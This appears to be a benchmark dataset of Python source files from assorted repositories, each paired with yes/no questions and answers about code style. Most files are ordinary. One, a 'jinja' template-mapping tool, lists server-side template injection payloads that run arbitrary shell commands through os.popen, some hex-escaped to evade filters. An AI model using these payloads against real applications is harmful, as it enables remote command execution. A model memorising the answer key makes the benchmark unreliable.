"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
"answ... | 3 | it/structures/python2/default_naming-default/upper_camel.py | reproto/reproto |
import json
class Struct(object):
def __init__(self, data):
for name, value in data.items():
setattr(self, name, self._wrap(value))
def _wrap(self, value):
if isinstance(value, (tuple, list, set, frozenset)):
return type(value)([self._wrap(v) for v in value])
else:
return Struct(value) if isinstance(value, dict) else value
config_path = "/home/pi/qrcode_detect/cfg.json"
with open(config_path) as config:
cfg = json.load(config, object_hook=Struct)
| [
{
"point_num": 1,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": false
},
{
"point_num": 2,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
"answer": tru... | 3 | config_parser.py | benkelaci/qrcode_medicinedispenser |
import logging
import logging.config
import json
import csv
from os import write
from sqlalchemy import engine
import psycopg2
from config import *
from decouple import config
logging.config.fileConfig(logs.get('file_config'))
logger = logging.getLogger('root')
#def get_columns_from_csv_file():
# """
# Função que lê o arquivo e retorna
# as colunas.
# """
#
# try:
# with open(csv_file, 'r') as file:
# open_csv = pd.read_csv(file ,delimiter=';')
# for col in open_csv.columns:
# return col
# except Exception as error:
# logger.warning(error)
def csv_to_json():
"""
Organiza o arquivo csv e salva como json.
"""
data = {}
try:
with open(csv_file, 'r') as file:
open_csv = csv.DictReader(file, delimiter=';')
for rows in open_csv:
key = rows['UNIQUE_ID']
data[key] = rows
try:
with open('files/recebimento.json', 'w', encoding='utf-8') as jsonf:
jsonf.write(json.dumps(data, indent=4))
except Exception as error:
logger.error(error)
except Exception as error:
logger.error(error)
def json_to_database():
"""
Organiza o arquivo json para salvar
os dados em uma tabela do banco de
dados.
"""
try:
with psycopg2.connect('postgresql://postgres:postgres@localhost/etl-testes') as conn:
with conn.cursor() as cur:
with open('files/recebimento.json') as my_file:
data = json.load(my_file)
#TODO: Terminar de passar as colunas e valores
query_sql = """ INSERT INTO orders (UNIQUE_ID, TRANSACTION_DATE, CLIENT_ID, TRANSACTION_ID, BANK_TRANSACTION_ID, ) """
cur.execute(query_sql, (json.dumps(data),))
except Exception as error:
logger.error(error) | [
{
"point_num": 1,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
"answer": false
},
{
"point_num": 2,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": tru... | 3 | Python/etl/src/functions.py | wendrewdevelop/Estudos |
# Time: O(n)
# Space: O(h), h is height of binary tree
class TreeNode(object):
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution(object):
# @param root, a tree node
# @return an integer
def maxDepth(self, root):
if root is None:
return 0
else:
return max(self.maxDepth(root.left), self.maxDepth(root.right)) + 1
| [
{
"point_num": 1,
"id": "has_nested_function_def",
"question": "Does this file contain any function defined inside another function?",
"answer": false
},
{
"point_num": 2,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"ans... | 3 | Algo and DSA/LeetCode-Solutions-master/Python/maximum-depth-of-binary-tree.py | Sourav692/FAANG-Interview-Preparation |
"""
Linear SVM
==========
This script fits a linear support vector machine classifier to random data. It
illustrates how a function defined purely by NumPy operations can be minimized
directly with a gradient-based solver.
"""
import numpy as np
from autodiff.optimize import fmin_l_bfgs_b
def test_svm():
rng = np.random.RandomState(1)
# -- create some fake data
x = rng.rand(10, 5)
y = 2 * (rng.rand(10) > 0.5) - 1
l2_regularization = 1e-4
# -- loss function
def loss_fn(weights, bias):
margin = y * (np.dot(x, weights) + bias)
loss = np.maximum(0, 1 - margin) ** 2
l2_cost = 0.5 * l2_regularization * np.dot(weights, weights)
loss = np.mean(loss) + l2_cost
print('ran loss_fn(), returning {}'.format(loss))
return loss
# -- call optimizer
w_0, b_0 = np.zeros(5), np.zeros(())
w, b = fmin_l_bfgs_b(loss_fn, init_args=(w_0, b_0))
final_loss = loss_fn(w, b)
assert np.allclose(final_loss, 0.7229)
print('optimization successful!')
if __name__ == '__main__':
test_svm()
| [
{
"point_num": 1,
"id": "has_nested_function_def",
"question": "Does this file contain any function defined inside another function?",
"answer": true
},
{
"point_num": 2,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answ... | 3 | autodiff/examples/svm.py | gwtaylor/pyautodiff |
import os
import sys
import pytest
import shlex
import subprocess
from os_fast_reservoir.cmdline import execute
def call(cmdline, env=None, **kwargs):
if env is None:
env = os.environ.copy()
if env.get('COVERAGE', None) is not None:
env['COVERAGE_PROCESS_START'] = os.path.abspath('.coveragerc')
cmd = 'python -u %s %s' % (os.path.abspath(__file__), cmdline)
proc = subprocess.Popen(shlex.split(cmd),
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
cwd=os.getcwd(),
env=env,
**kwargs)
stdout, stderr = proc.communicate()
return stdout, stderr
def test_cmdline(tmpdir):
f = tmpdir.join('testfile')
f.write('\n'.join([str(i) for i in range(100)]))
n = 10
cmdline = '-n %d -f %s' % (n, f.strpath)
stdout, stderr = call(cmdline)
assert stdout.count(b'\n') == n
def test_invalid_cmdline():
cmdline = '-n a'
stdout, stderr = call(cmdline)
assert b'must assign a positive int value' in stderr
cmdline = '-f not_exist'
stdout, stderr = call(cmdline)
assert b'No such file or directory' in stderr
if __name__ == "__main__":
sys.path.insert(0, os.getcwd())
if os.getenv('COVERAGE_PROCESS_START'):
import coverage
coverage.process_startup()
execute()
| [
{
"point_num": 1,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": false
},
{
"point_num": 2,
"id": "no_function_exceeds_5_params",
"question": "Does every function in this file take 5 or fewer parameters (excluding sel... | 3 | tests/test_cmdline.py | cfhamlet/os-fast-reservoir |
from urllib.parse import urljoin
import requests
from ansible.plugins.action import ActionBase
NS = "lilatomic_api_http"
class ConnectionInfo(object):
def __init__(self, base):
self.base = base
class ActionModule(ActionBase):
def run(self, tmp=None, task_vars=None):
super().run(tmp=tmp, task_vars=task_vars)
connection_name = self.arg("connection")
connection_info = ConnectionInfo(**task_vars[NS][connection_name])
method = self.arg_or("method", "GET")
data = self.arg_or("data")
json = self.arg_or("json")
r = requests.request(method, urljoin(connection_info.base + '/', self.arg("path").strip("/")),
data=data, json=json)
return {"result": r.json()}
def arg(self, arg):
return self._task.args[arg]
def arg_or(self, arg, default=None):
return self._task.args.get(arg, default)
| [
{
"point_num": 1,
"id": "every_class_has_docstring",
"question": "Does every class in this file have a docstring?",
"answer": false
},
{
"point_num": 2,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": true
},
{
... | 3 | _includes/resources/ansible_plugins/better_httpapi/1_multimethod.py | lilatomic/lilatomic.ca |
from heapq import nlargest
from typing import List
Scores = List[int]
def latest(scores: Scores) -> int:
"""The last added score."""
return scores[-1]
def personal_best(scores: Scores) -> int:
"""The highest score."""
return max(scores)
def personal_top_three(scores: Scores) -> Scores:
"""The three highest scores."""
return nlargest(3, scores)
| [
{
"point_num": 1,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer": true
},
{
"point_num": 2,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer":... | 3 | python/high-scores/high_scores.py | parkerbxyz/exercism |
from typing import Callable
import unittest
# test
from .pipe import pipe
class TestPipe(unittest.TestCase):
def test_pipe_should_return_a_function(self) -> None:
# given
def echo(x: str) -> str:
return f"echo {x}"
# when
output = pipe(echo)
# then
self.assertTrue(isinstance(output, Callable)) # type: ignore
def test_pipe_should_return_an_empty_string(self) -> None:
# given
def echo(x: str) -> str:
return f"echo {x}"
# when
param = "hello world"
output = pipe(echo)(param)
# then
self.assertEqual(output, f"echo {param}")
def test_pipe_should_pipe_two_function(self) -> None:
# given
def echo(x: str) -> str:
return f"echo {x}"
def grep() -> str:
return "grep world"
# when
param = "hello world"
output = pipe(echo, grep)(param)
# then
self.assertEqual(output, f"echo {param} | grep world")
| [
{
"point_num": 1,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer": true
},
{
"point_num": 2,
"id": "has_nested_function_def",
"question": "Does this file contain any function defined inside another function?",
... | 3 | src/unshell/utils/test_pipe.py | romainPrignon/unshellPy |
from PyQt4 import QtCore, QtGui
class MessageCompose(QtGui.QTextEdit):
def __init__(self, parent = 0):
super(MessageCompose, self).__init__(parent)
self.setAcceptRichText(False) # we'll deal with this later when we have a new message format
self.defaultFontPointSize = self.currentFont().pointSize()
def wheelEvent(self, event):
if (QtGui.QApplication.queryKeyboardModifiers() & QtCore.Qt.ControlModifier) == QtCore.Qt.ControlModifier and event.orientation() == QtCore.Qt.Vertical:
if event.delta() > 0:
self.zoomIn(1)
else:
self.zoomOut(1)
zoom = self.currentFont().pointSize() * 100 / self.defaultFontPointSize
QtGui.QApplication.activeWindow().statusBar().showMessage(QtGui.QApplication.translate("MainWindow", "Zoom level %1%").arg(str(zoom)))
else:
# in QTextEdit, super does not zoom, only scroll
super(MessageCompose, self).wheelEvent(event)
def reset(self):
self.setText('')
| [
{
"point_num": 1,
"id": "has_multiple_inheritance",
"question": "Does any class in this file use multiple inheritance?",
"answer": false
},
{
"point_num": 2,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
"answer": true... | 3 | src/bitmessageqt/messagecompose.py | coffeedogs/PyBitmessage |
import intcode
INPUT_FILE = 'day005.in'
def part1(filename):
source = intcode.load_from_file(filename)
i, o = [], []
# AC Unit input value
i.append(1)
modified = intcode.run_intcode(source, i, o)
return modified[0], i, o
def part2(filename):
source = intcode.load_from_file(filename)
i, o = [], []
# Thermal Radiator Controller
i.append(5)
modified = intcode.run_intcode(source, i, o)
return modified[0], i, o
if __name__ == '__main__':
result_code, instream, outstream = part1(INPUT_FILE)
print('Part1: ', result_code, 'IN', instream, 'OUT', outstream)
result_code, instream, outstream = part2(INPUT_FILE)
print('Part2: ', result_code, 'IN', instream, 'OUT', outstream)
| [
{
"point_num": 1,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
"answer": true
},
{
"point_num": 2,
"id": "has_nested_function_def",
"question": "Does this file contain any function defined inside another function?",
"... | 3 | python/day005.py | jrrickerson/adventofcode2019 |
from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, SubmitField, SelectField
from wtforms.validators import DataRequired, Email, Length, EqualTo
from app.models.Model import Category
def get_categories():
categories_query = Category.query.all()
categories = []
for category in categories_query:
categories.append((category.id,category.title))
return categories
# Register form
class RegisterForm(FlaskForm):
email = StringField(label="email", validators=[DataRequired(), Email()])
username = StringField(label="username", validators=[DataRequired()])
password = PasswordField(label="password", validators=[DataRequired(), Length(min=6)])
confirm = PasswordField(label="confirm", validators=[DataRequired(),EqualTo(fieldname='password')])
category = SelectField('Selectionée une category', validators=[DataRequired()],choices=get_categories())
submit = SubmitField(label="inscrire")
# login form
class LoginForm(FlaskForm):
email = StringField('email', validators=[DataRequired(),Email()])
password = PasswordField('password', validators=[DataRequired()])
submit = SubmitField('identifier')
| [
{
"point_num": 1,
"id": "has_multiple_inheritance",
"question": "Does any class in this file use multiple inheritance?",
"answer": false
},
{
"point_num": 2,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": false
}... | 3 | app/forms/user.py | mofilamamra/APP-WILAYA |
# Copyright 2013 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import uuid
from tempest.api.compute import base
from tempest import exceptions
from tempest import test
class VirtualInterfacesNegativeTestJSON(base.BaseV2ComputeTest):
_interface = 'json'
@classmethod
def setUpClass(cls):
# For this test no network resources are needed
cls.set_network_resources()
super(VirtualInterfacesNegativeTestJSON, cls).setUpClass()
cls.client = cls.servers_client
@test.attr(type=['negative', 'gate'])
def test_list_virtual_interfaces_invalid_server_id(self):
# Negative test: Should not be able to GET virtual interfaces
# for an invalid server_id
invalid_server_id = str(uuid.uuid4())
self.assertRaises(exceptions.NotFound,
self.client.list_virtual_interfaces,
invalid_server_id)
class VirtualInterfacesNegativeTestXML(VirtualInterfacesNegativeTestJSON):
_interface = 'xml'
| [
{
"point_num": 1,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": false
},
{
"point_num": 2,
"id": "every_class_has_docstring",
"question": "Does every class in this file have a docstring?",
"answer": false
},
{... | 3 | tempest/api/compute/servers/test_virtual_interfaces_negative.py | BeenzSyed/tempest |
# Copyright 1999-2020 Alibaba Group Holding Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from ... import opcodes as OperandDef
from ...config import options
from ...core import OutputType
from ...serialize import AnyField
from .core import DataFrameReductionOperand, DataFrameReductionMixin
class DataFrameCustomReduction(DataFrameReductionOperand, DataFrameReductionMixin):
_op_type_ = OperandDef.CUSTOM_REDUCTION
_func_name = 'custom_reduction'
_custom_reduction = AnyField('custom_reduction')
@property
def custom_reduction(self):
return self._custom_reduction
def __init__(self, custom_reduction=None, **kw):
super().__init__(_custom_reduction=custom_reduction, **kw)
def custom_reduction_series(df, custom_reduction):
use_inf_as_na = options.dataframe.mode.use_inf_as_na
op = DataFrameCustomReduction(custom_reduction=custom_reduction, output_types=[OutputType.scalar],
use_inf_as_na=use_inf_as_na)
return op(df)
def custom_reduction_dataframe(df, custom_reduction):
use_inf_as_na = options.dataframe.mode.use_inf_as_na
op = DataFrameCustomReduction(custom_reduction=custom_reduction, output_types=[OutputType.series],
use_inf_as_na=use_inf_as_na)
return op(df)
| [
{
"point_num": 1,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": true
},
{
"point_num": 2,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer": ... | 3 | mars/dataframe/reduction/custom_reduction.py | BoxFishLab/mars |
import ckan.lib.base as base
import ckan.lib.helpers as helpers
render = base.render
class MyExtController(base.BaseController):
def config_one(self):
'''Render the config template with the first custom title.'''
return render('admin/myext_config.html',
extra_vars={'title': 'My First Config Page'})
def config_two(self):
'''Render the config template with the second custom title.'''
return render('admin/myext_config.html',
extra_vars={'title': 'My Second Config Page'})
def build_extra_admin_nav(self):
'''Return results of helpers.build_extra_admin_nav for testing.'''
return helpers.build_extra_admin_nav()
| [
{
"point_num": 1,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": true
},
{
"point_num": 2,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": true
},... | 3 | ckanext/example_iconfigurer/controller.py | florianm/ckan |
"""
运算符重载 - 自定义分数类
Version: 0.1
Author: BDFD
Date: 2018-03-12
"""
from math import gcd
class Rational(object):
def __init__(self, num, den=1):
if den == 0:
raise ValueError('分母不能为0')
self._num = num
self._den = den
self.normalize()
def simplify(self):
x = abs(self._num)
y = abs(self._den)
factor = gcd(x, y)
if factor > 1:
self._num //= factor
self._den //= factor
return self
def normalize(self):
if self._den < 0:
self._den = -self._den
self._num = -self._num
return self
def __add__(self, other):
new_num = self._num * other._den + other._num * self._den
new_den = self._den * other._den
return Rational(new_num, new_den).simplify().normalize()
def __sub__(self, other):
new_num = self._num * other._den - other._num * self._den
new_den = self._den * other._den
return Rational(new_num, new_den).simplify().normalize()
def __mul__(self, other):
new_num = self._num * other._num
new_den = self._den * other._den
return Rational(new_num, new_den).simplify().normalize()
def __truediv__(self, other):
new_num = self._num * other._den
new_den = self._den * other._num
return Rational(new_num, new_den).simplify().normalize()
def __str__(self):
if self._num == 0:
return '0'
elif self._den == 1:
return str(self._num)
else:
return '(%d/%d)' % (self._num, self._den)
if __name__ == '__main__':
r1 = Rational(2, 3)
print(r1)
r2 = Rational(6, -8)
print(r2)
print(r2.simplify())
print('%s + %s = %s' % (r1, r2, r1 + r2))
print('%s - %s = %s' % (r1, r2, r1 - r2))
print('%s * %s = %s' % (r1, r2, r1 * r2))
print('%s / %s = %s' % (r1, r2, r1 / r2))
| [
{
"point_num": 1,
"id": "all_params_annotated",
"question": "Does every function parameter in this file have a type annotation (excluding self/cls)?",
"answer": false
},
{
"point_num": 2,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written ... | 3 | Day01-15/code/Day09/rational.py | bdfd/Python_Zero2Hero_DS |
#!/usr/bin/env python
from __future__ import print_function
from itertools import count
import torch
import torch.nn.functional as F
POLY_DEGREE = 4
W_target = torch.randn(POLY_DEGREE, 1) * 5
b_target = torch.randn(1) * 5
def make_features(x):
"""Builds features i.e. a matrix with columns [x, x^2, x^3, x^4]."""
x = x.unsqueeze(1)
return torch.cat([x ** i for i in range(1, POLY_DEGREE+1)], 1)
def f(x):
"""Approximated function."""
return x.mm(W_target) + b_target.item()
def poly_desc(W, b):
"""Creates a string description of a polynomial."""
result = 'y = '
for i, w in enumerate(W):
result += '{:+.2f} x^{} '.format(w, len(W) - i)
result += '{:+.2f}'.format(b[0])
return result
def get_batch(batch_size=32):
"""Builds a batch i.e. (x, f(x)) pair."""
random = torch.randn(batch_size)
x = make_features(random)
y = f(x)
return x, y
# Define model
fc = torch.nn.Linear(W_target.size(0), 1)
for batch_idx in count(1):
# Get data
batch_x, batch_y = get_batch()
# Reset gradients
fc.zero_grad()
# Forward pass
output = F.smooth_l1_loss(fc(batch_x), batch_y)
loss = output.item()
# Backward pass
output.backward()
# Apply gradients
for param in fc.parameters():
param.data.add_(-0.1 * param.grad.data)
# Stop criterion
if loss < 1e-3:
break
print('Loss: {:.6f} after {} batches'.format(loss, batch_idx))
print('==> Learned function:\t' + poly_desc(fc.weight.view(-1), fc.bias))
print('==> Actual function:\t' + poly_desc(W_target.view(-1), b_target))
| [
{
"point_num": 1,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer": true
},
{
"point_num": 2,
"id": "no_function_exceeds_5_params",
"question": "Does every function in this file take 5 or fewer parameters (exclu... | 3 | regression/main.py | vinnamkim/examples |
from importlib import import_module
from inspect import isclass
import os
from os import walk
from os.path import abspath, basename, dirname, join
from sys import modules
from src.data_generator.extractors.base_extractor import BaseExtractor
__all__ = ('load_extractors',)
PROJ_DIR = abspath(join(dirname(abspath(__file__)), '../../..'))
PROJ_MODULE = basename(PROJ_DIR)
CURR_DIR = os.path.join(PROJ_DIR, 'data_generator', 'extractors')
CURR_MODULE = basename(CURR_DIR)
EXTRACTOR_TYPES = [
'pse',
'producers',
]
def get_modules(module):
module_directory = abspath(join(CURR_DIR, module))
for root, dir_names, files in walk(module_directory):
module_path_end = root.split(CURR_MODULE)[1].replace('\\', '.')
module_path = f'{PROJ_MODULE}.data_generator.{CURR_MODULE}{module_path_end}'
for filename in files:
if filename.endswith('.py') and not filename.startswith('__init__'):
yield '.'.join([module_path, filename[0:-3]])
def dynamic_loader(module, compare):
items = []
for mod in get_modules(module):
module = import_module(mod)
if hasattr(module, '__all__'):
objs = [getattr(module, obj) for obj in module.__all__]
items += [o for o in objs if o not in items and compare(o)]
return items
def is_extractor(item):
return isclass(item) and issubclass(item, BaseExtractor)
def get_extractors(extractor_type):
return dynamic_loader(extractor_type, is_extractor)
def load_extractors():
extractors = dict()
for extractor_type in EXTRACTOR_TYPES:
for extractor in get_extractors(extractor_type):
setattr(modules[__name__], extractor.__name__, extractor)
extractors[extractor.__name__] = extractor
return extractors
| [
{
"point_num": 1,
"id": "no_function_exceeds_5_params",
"question": "Does every function in this file take 5 or fewer parameters (excluding self/cls)?",
"answer": true
},
{
"point_num": 2,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than... | 3 | src/data_generator/extractors/utils/extractors_loader.py | BlooAM/Day-ahead-prices |
class Queue():
# Queue Initialization
def __init__(self):
self.MAX = 5
self.queue = []
# OVERFLOW CONDITION
def OVERFLOW(self):
if len(self.queue) == self.MAX:
return True
else:
return False
# UNDERFLOW CONDITION
def UNDERFLOW(self):
if len(self.queue) == 0:
return True
else:
return False
# Insert into queue
def insert(self, item):
if not self.OVERFLOW():
self.queue.insert(0, item)
return True
else:
return False
# Delete from queue
def delete(self):
if not self.UNDERFLOW():
temp = self.queue.pop()
return temp
else:
return False
def display(self):
if not self.UNDERFLOW():
# if self.FRONT <= self.BACK:
print(" ".join([str(i) for i in self.queue]))
else:
print("-> UNDERFLOW <-")
menu = '''
Enter
1. INSERT
2. DELETE
3. DISPAY
4. EXIT
-> '''
if __name__ == "__main__":
obj = Queue()
exit = False
while not exit:
switch_var = int(input(menu))
# INSERT
if switch_var == 1:
temp = int(input("Enter the number : "))
if obj.insert(temp):
print(f"{temp} is inserted into queue.")
else:
print("-> OVERFLOW <-")
# DELETE
elif switch_var == 2:
temp = obj.delete()
if temp:
print(f"{temp} is deleted from queue.")
else:
print("-> UNDERFLOW <-")
# DISPLAY
elif switch_var == 3:
obj.display()
# EXIT
elif switch_var == 4:
exit = True
# INVALID
else:
print("Please enter a valid statement.")
| [
{
"point_num": 1,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
"answer": true
},
{
"point_num": 2,
"id": "has_multiple_inheritance",
"question": "Does any class in this file use multiple inheritance?",
"answer": false... | 3 | Python/Data Structure/Queue/Circular Queue.py | DeWill404/Data-Structure-and-Algorithm |
class jinja:
def __init__(self):
self.name = "jinja"
self.exec = True
self.download = False
def payload_test(self):
return ["(347*21)","{{ 347*21 }}"]
def execu(self,cmd,index=-1):
payload = [
"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('"+cmd+"').read() }}",
"{{ self._TemplateReference__context.cycler.__init__.__globals__.popen('"+cmd+"').read() }}",
"{{ self._TemplateReference__context.joiner.__init__.__globals__.popen('"+cmd+"').read() }}",
"{{ self._TemplateReference__context.namespace.__init__.__globals__.popen('"+cmd+"').read() }}",
"{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('"+cmd+"')['read']()}}",
"{{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('"+cmd+"')['read']()}}",
"{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('"+cmd+"')|attr('read')()}}"
]
if index >= 0:
return payload[index]
return payload
| [
{
"point_num": 1,
"id": "has_multiple_inheritance",
"question": "Does any class in this file use multiple inheritance?",
"answer": false
},
{
"point_num": 2,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer":... | 3 | Tools/Templatemap/jinja.py | evilcater/H4cX |
import pomdp_py
class Observation(pomdp_py.Observation):
"""Defines the Observation for the continuous light-dark domain;
Observation space:
:math:`\Omega\subseteq\mathbb{R}^2` the observation of the robot is
an estimate of the robot position :math:`g(x_t)\in\Omega`.
"""
# the number of decimals to round up an observation when it is discrete.
PRECISION=2
def __init__(self, position, discrete=False):
"""
Initializes a observation in light dark domain.
Args:
position (tuple): position of the robot.
"""
self._discrete = discrete
if len(position) != 2:
raise ValueError("Observation position must be a vector of length 2")
if self._discrete:
self.position = position
else:
self.position = (round(position[0], Observation.PRECISION),
round(position[1], Observation.PRECISION))
def discretize(self):
return Observation(self.position, discrete=True)
def __hash__(self):
return hash(self.position)
def __eq__(self, other):
if isinstance(other, Observation):
return self.position == other.position
else:
return False
def __str__(self):
return self.__repr__()
def __repr__(self):
return "Observation(%s)" % (str(self.position))
| [
{
"point_num": 1,
"id": "has_multiple_inheritance",
"question": "Does any class in this file use multiple inheritance?",
"answer": false
},
{
"point_num": 2,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer":... | 3 | pomdp_problems/light_dark/domain/observation.py | VladislavHrosinkov/pomdp-py |
# Copyright (c) OpenMMLab. All rights reserved.
from ..builder import DETECTORS
from .cascade_rcnn import CascadeRCNN
@DETECTORS.register_module()
class HybridTaskCascade(CascadeRCNN):
"""Implementation of `HTC <https://arxiv.org/abs/1901.07518>`_"""
def __init__(self, **kwargs):
super(HybridTaskCascade, self).__init__(**kwargs)
@property
def with_semantic(self):
"""bool: whether the detector has a semantic head"""
return self.roi_head.with_semantic
| [
{
"point_num": 1,
"id": "has_multiple_inheritance",
"question": "Does any class in this file use multiple inheritance?",
"answer": false
},
{
"point_num": 2,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": false
... | 3 | mmdet/models/detectors/htc.py | Brym-Gyimah/mmdetection |
from digsandpaper.sandpaper_utils import load_json_file
__name__ = "TypeIndexMapping"
name = __name__
class TypeIndexMapping(object):
name = "TypeIndexMapping"
component_type = __name__
def __init__(self, config):
self.config = config
self._configure()
def _configure(self):
file = self.config["type_index_mappings"]
if isinstance(file, dict):
self.type_index_mappings = file
else:
self.type_index_mappings = load_json_file(file)
def generate(self, query):
where = query["SPARQL"]["where"]
t = where["type"]
if t in self.type_index_mappings:
if "ELASTICSEARCH" not in query:
query["ELASTICSEARCH"] = {}
if isinstance(query["ELASTICSEARCH"], dict):
query["ELASTICSEARCH"]["index"] = self.type_index_mappings[t]
elif isinstance(query["ELASTICSEARCH"], list):
for es in query["ELASTICSEARCH"]:
es["index"] = self.type_index_mappings[es["type"]]
return query
def get_component(component_config):
component_name = component_config["name"]
if component_name == TypeIndexMapping.name:
return TypeIndexMapping(component_config)
else:
raise ValueError("Unsupported type index mapping component {}".
format(component_name))
| [
{
"point_num": 1,
"id": "has_multiple_inheritance",
"question": "Does any class in this file use multiple inheritance?",
"answer": false
},
{
"point_num": 2,
"id": "has_nested_function_def",
"question": "Does this file contain any function defined inside another function?",
"answ... | 3 | digsandpaper/coarse/generate/type_index_mapping_component.py | usc-isi-i2/dig-sandpaper |
from rest_framework import permissions
class IsAuthenticated(permissions.BasePermission):
def has_permission(self, request, view):
return (
request.user
and request.user.is_authenticated
and request.user.is_email_verified
)
class IsAuthenticatedOrReadOnly(permissions.BasePermission):
def has_permission(self, request, view):
return (
request.method in permissions.SAFE_METHODS
or request.user
and request.user.is_authenticated
and request.user.is_email_verified
)
class IsOwnerOrReadOnly(permissions.BasePermission):
def has_object_permission(self, request, view, obj):
if request.method in permissions.SAFE_METHODS:
return True
return obj.is_owner(request.user)
| [
{
"point_num": 1,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": false
},
{
"point_num": 2,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer":... | 3 | src/utils/api/permissions.py | jsmesami/naovoce |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# File: Ampel-plot/ampel-plot-browse/ampel/plot/T2SVGQuery.py
# License: BSD-3-Clause
# Author: valery brinnel <firstname.lastname@gmail.com>
# Date: 15.06.2019
# Last Modified Date: 19.11.2021
# Last Modified By: valery brinnel <firstname.lastname@gmail.com>
from collections.abc import Sequence
from ampel.types import UnitId, StockId, Tag
from ampel.plot.SVGQuery import SVGQuery
class T2SVGQuery(SVGQuery):
def __init__(self,
stocks: None | StockId | Sequence[StockId] = None,
tags: None | Tag | Sequence[Tag] = None,
unit: None | UnitId = None,
config: None | int = None,
query_path: str = 'body.data.plots' # convention
):
super().__init__(path = query_path, col = "t2", stocks = stocks, tags = tags)
if unit:
self.set_t2_unit(unit)
if config:
self.set_t2_config(config)
self._query[self.path] = {'$exists': True}
def set_t2_unit(self, unit: UnitId) -> None:
self._query['unit'] = unit
def set_t2_config(self, config: int) -> None:
self._query['config'] = config
| [
{
"point_num": 1,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer": true
},
{
"point_num": 2,
"id": "all_params_annotated",
"question": "Does every function parameter in this file have a type annotation (excludi... | 3 | ampel-plot-browse/ampel/plot/T2SVGQuery.py | AmpelProject/Ampel-plot |
from typing import NoReturn
from src.contexts.photostore.photo.domain.PhotoRepository import PhotoRepository
from src.contexts.photostore.photo.domain.entities.Photo import Photo
from src.contexts.photostore.photo.domain.errors.PhotoAlreadyExistsError import PhotoAlreadyExistsError
from src.contexts.shared.Infrastructure.persistence.minio.MinioRepository import MinioRepository
class MinioPhotoRepository(MinioRepository, PhotoRepository):
__BUCKET_NAME = 'photostore'
__DIRECTORY_DEFAULT_NAME = 'photos'
def get_bucket_name(self):
return MinioPhotoRepository.__BUCKET_NAME
def get_directory_name(self):
return MinioPhotoRepository.__DIRECTORY_DEFAULT_NAME
async def create_one(self, photo: Photo) -> NoReturn:
try:
photo = await super()._create(
obj_id=photo.id.value(),
obj=photo.file.value(),
file_extension='jpg',
codification='base64',
)
return photo
except Exception as e:
raise PhotoAlreadyExistsError('Photo with ID <{}> already exists.'.format(photo.id.value()))
| [
{
"point_num": 1,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": false
},
{
"point_num": 2,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": true
}... | 3 | src/contexts/photostore/photo/infrastructure/persistence/MinioPhotoStorePhotoRepository.py | parada3desu/python-ddd-template |
class tumblr():
scheme = 'https'
url = 'tumblr.com'
# use a text browser to avoid annoying/blocking javascript
